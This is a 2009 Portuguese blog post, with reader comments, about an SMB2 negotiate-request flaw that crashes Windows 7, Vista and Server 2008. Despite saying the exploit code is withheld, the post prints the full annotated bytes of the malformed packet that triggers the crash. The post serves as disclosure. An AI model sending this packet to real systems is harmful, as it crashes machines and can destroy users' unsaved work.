Jogando conversar fora e tomando uma cerveja com o Carlão (Carlos Barcellos), ele mencionou sobre uma falha de negociação no protocolo SMB2 do Windows. Na hora não dei muita atenção, pois pensei que tal vulnerabilidade não atingiria as maquinas com o sistema operacional atualizado. Para a minha surpresas, todas as máquinas submetidas ao teste sofreram a famosa BSOD (blue screen of death) seguido do desligamento imediato.
A vulnerabilidade ocorre no protocolo SMB2 (Server Message Block — versão 2) da Microsoft, localizado na camada de rede, utilizado geralmente para o acesso aos recursos compartilhados e autenticação IPC (Comunicação Inter-Processo).
Este protocolo é o padrão de compartilhamento de arquivos entre computadores rodando Windows, e especificamente a versão 2 (SMB2) pode ser derrubada por um código de prova de conceito. Por questões éticas não disponibilizarei o código. A seguir a lista das versão comprometidas:
-
Windows 7 (32 e 64 bits);
-
Vista, Vista SP1, Vista SP2 (32 e 64 bits);
-
Windows 2008, e 2008 SP2 (32 e 64 bits, e Itanium-based).
“Esse método ataca via negociação de requisição de protocolo (negotiate protocol request) que é a primeira query enviada pelo SMB. A vulnerabilidade está presente apenas nas versões de Windows que incluem o Server Message Block 2.0 e tem o protocolo ativado. O sucesso no ataque não requer acesso local na máquina e resulta na Tela Azul da Morte (Blue Screen of Death).”
A seguir, uma versão do pacote modificado:
0x01, 0x00, 0x00, 0x90, // Cabecalho 0xff, 0x53, 0x4d, 0x42, // String SMB 0x72, 0x00, 0x00, 0x00, // Protocolo de negociacao 0x00, 0x18, 0x53, 0xc8, // Codigo operacao 0x18 & sub 0xc853 0x00, 0x26, // Valor antigo esperado pelo protocolo "\x00\x00" 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x57, 0x6f, 0x72, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x73, 0x20, 0x33, 0x2e, 0x31, 0x61, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e, 0x30, 0x30, 0x32, 0x00
Fontes de informação:
Hack A Day
7 comentários
Comments feed for this article
outubro 1, 2009 às 6:55 pm
Luiz Carlos
O artigo até é interessante, mas você é muito pouco profissional.. parece até um desses lammers que aprenderam alguma coisa de linux e já saem fazendo guerra santa!
Ah, outra coisa, o título do seu blog é ridículo!
outubro 1, 2009 às 7:36 pm
cabelovivaolinux
Luiz Carlos:
Tenho maturidade o suficiente para respeitar a sua opinião. Entretanto não mencionei nenhuma mentira e realmente estou surpreso… pois qualquer pessoa com um programinha escrito em Visual Basic via socket é capaz de derrubar servidores de grande importância empresarial.
Abraços
outubro 1, 2009 às 8:56 pm
Lucas S.
Ridículo é você, Luiz Carlos.
Não vi em momento algum algo dizendo que o Windows é ruim, apenas na observação do dono do blog (sendo que ele simplesmente expressou a opinião dele por meio de um ‘eca’).
Você deveria ficar feliz que a falha foi descoberta e notificada, assim a Microsoft pode corrigí-la e evitar problemas futuros.
outubro 6, 2009 às 4:42 pm
bsodTest: Protegendo-se da vulnerabilidade no Windows Vista/Server 2008 e 7. « Inteligência Coletiva:
[…] engraçadinho enviar um pacote de negociação SMB2 adulterado para a sua máquina (mencionado no post anterior) ! Como quase todo usuário não tem o hábito de salvar periodicamente os seus trabalhso durante […]
outubro 22, 2009 às 5:47 pm
Andrea
Gostaria de começar meu comentário dizendo que gostei muito do título: “Inteligência Coletiva”. Todo bom profissional hoje em dia sabe que compartilhar o que se sabe é muito importante. Os alertas sobre versões do Windows devem servir de subsídios para que as correções adequadas sejam feitas. Acredito que já deva ter gente na Microsoft fazendo isso e que bom que existem pessoas como o Alessandro (Cabelo) com conhecimento suficiente para compartilhar conosco. ….Abraços…Andrea-Bebedouro-Etec
fevereiro 11, 2010 às 2:22 pm
Outra falha grave de segurança no windows. « Inteligência Coletiva:
[…] 11, 2010 in Dicas Linux Depois dos posts sobre a vulnerabilidade do windows e como se proteger, surge dia 19 de janeiro de 2010 uma falha que atinge toda a família windows […]
agosto 17, 2011 às 6:45 pm
smokejp
hahahá , já testei uns 4 tutorias seu , cabelo falou tah falado não se discute,coisa de doido!kkkkkkkk
Boa sorte Cabelo
By smoke do vivaolinux